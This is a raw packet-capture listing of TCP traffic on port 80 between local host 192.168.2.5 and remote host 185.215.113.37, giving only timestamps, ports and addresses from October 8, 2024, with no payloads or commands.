Oct 8, 2024 11:18:31.089751005 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.089761019 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:31.089761972 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.089773893 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.089786053 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.089791059 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:31.089797020 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.089807987 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.089809895 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:31.089821100 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.089827061 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:31.089833975 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.089845896 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.089847088 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:31.089863062 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.089876890 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:31.089884996 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:31.089889050 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.089903116 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.089909077 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:31.089915037 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.089920044 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.089926004 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.089926004 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:31.089936972 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.089950085 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.089960098 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:31.089986086 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:31.089987040 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.089999914 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.090009928 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.090019941 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.090027094 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:31.090034962 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.090045929 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.090051889 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:31.090058088 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.090070963 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.090080976 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:31.090081930 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.090094090 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.090096951 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:31.090106010 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.090116978 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:31.090118885 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.090145111 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:31.090147018 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.090152979 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:31.090166092 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.090177059 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.090187073 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:31.090188026 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.090202093 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.090210915 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.090213060 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:31.090224981 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.090233088 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:31.090238094 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.090249062 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.090249062 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:31.090267897 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.090275049 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:31.090281963 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.090292931 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.090302944 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:31.090303898 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.090317011 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.090322018 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:31.090329885 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.090341091 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.090343952 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:31.090353012 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.090358019 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:31.090385914 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:31.090403080 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.090414047 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.090440989 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:31.090456009 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:31.090539932 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.090552092 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.090564013 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.090574026 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.090585947 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.090596914 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:31.090600014 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.090611935 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.090614080 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:31.090624094 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.090627909 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:31.090635061 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.090647936 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.090657949 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:31.090679884 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:31.090760946 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.090773106 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.090784073 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.090797901 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.090807915 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.090814114 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:31.090820074 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.090823889 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:31.090832949 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.090843916 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.090848923 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:31.090856075 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.090867043 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.090876102 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:31.090886116 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.090894938 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:31.090913057 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:31.090926886 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:31.091008902 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.091021061 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.091032028 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.091056108 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:31.091058969 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.091070890 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.091074944 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:31.091083050 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.091094971 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.091100931 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:31.091125011 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:31.091144085 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:31.091195107 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.091206074 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.091238022 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.091248035 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.091259003 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:31.091259003 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.091272116 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.091281891 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.091366053 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:31.091394901 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.091408968 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.091419935 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.091424942 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.091437101 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.091445923 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:31.091455936 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.091466904 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:31.091470003 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.091480970 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.091490984 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.091495037 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:31.091502905 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.091505051 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:31.091521978 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.091533899 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.091536045 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:31.091546059 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.091557026 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.091567993 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.091572046 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:31.091578007 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.091588974 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:31.091593027 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.091603994 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:31.091603994 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.091619015 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.091629028 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.091633081 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:31.091639996 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.091650963 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.091661930 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.091671944 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.091671944 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:31.091671944 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:31.091682911 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.091687918 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:31.091712952 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:31.091732979 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:31.091785908 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.091798067 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.091806889 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.091818094 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.091831923 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:31.091839075 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.091849089 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.091860056 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:31.091861963 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.091873884 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.091880083 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:31.091886044 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.091897011 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.091906071 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:31.091907024 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.091918945 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.091929913 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.091928959 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:31.091949940 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:31.091967106 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:31.091970921 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.092011929 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:31.092149973 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.092160940 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.092170954 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.092181921 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.092192888 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.092200994 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:31.092205048 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.092216969 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.092226982 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.092242956 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:31.092245102 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.092257023 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.092261076 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:31.092267990 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.092278957 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.092284918 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:31.092291117 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.092307091 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.092315912 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:31.092317104 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.092336893 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.092338085 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:31.092348099 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.092350006 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:31.092360020 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.092371941 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.092377901 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:31.092384100 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.092390060 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:31.092396975 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.092407942 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.092408895 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:31.092418909 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.092430115 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.092436075 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:31.092442036 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.092451096 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:31.092453003 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.092466116 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.092467070 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:31.092487097 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:31.092494011 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.092508078 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.092510939 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:31.092519045 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.092530012 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.092540026 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.092540026 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:31.092552900 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.092564106 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:31.092564106 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.092577934 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.092586994 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:31.092590094 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.092601061 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.092602968 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:31.092612982 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.092628956 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:31.092629910 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.092642069 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.092653990 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.092654943 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:31.092665911 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.092668056 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:31.092678070 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.092689037 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.092694044 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:31.092700005 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.092715979 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.092725039 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:31.092729092 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.092740059 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.092742920 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:31.092751980 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.092762947 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.092772007 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.092776060 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:31.092801094 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:31.092811108 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:31.093027115 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.093053102 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.093064070 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.093090057 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:31.093110085 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:31.093118906 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.093136072 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.093147039 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.093157053 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.093168020 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.093169928 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:31.093179941 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.093183041 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:31.093219995 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:31.093244076 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:31.093312979 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.093318939 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.093324900 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.093334913 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.093344927 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.093354940 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.093364954 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.093365908 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:31.093375921 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.093386889 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.093394995 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:31.093399048 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.093409061 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:31.093411922 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.093424082 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.093434095 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.093434095 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:31.093445063 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.093446970 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:31.093497992 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:31.093497992 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.093512058 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.093522072 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.093532085 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.093542099 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.093549967 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:31.093554020 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.093566895 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.093576908 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.093580008 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:31.093590021 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.093600035 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.093609095 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:31.093611002 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.093622923 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.093630075 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:31.093633890 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.093637943 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:31.093646049 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.093669891 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.093672037 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:31.093672991 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.093682051 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.093683958 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.093686104 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.093693018 CEST	80	49706	185.215.113.37	192.168.2.5
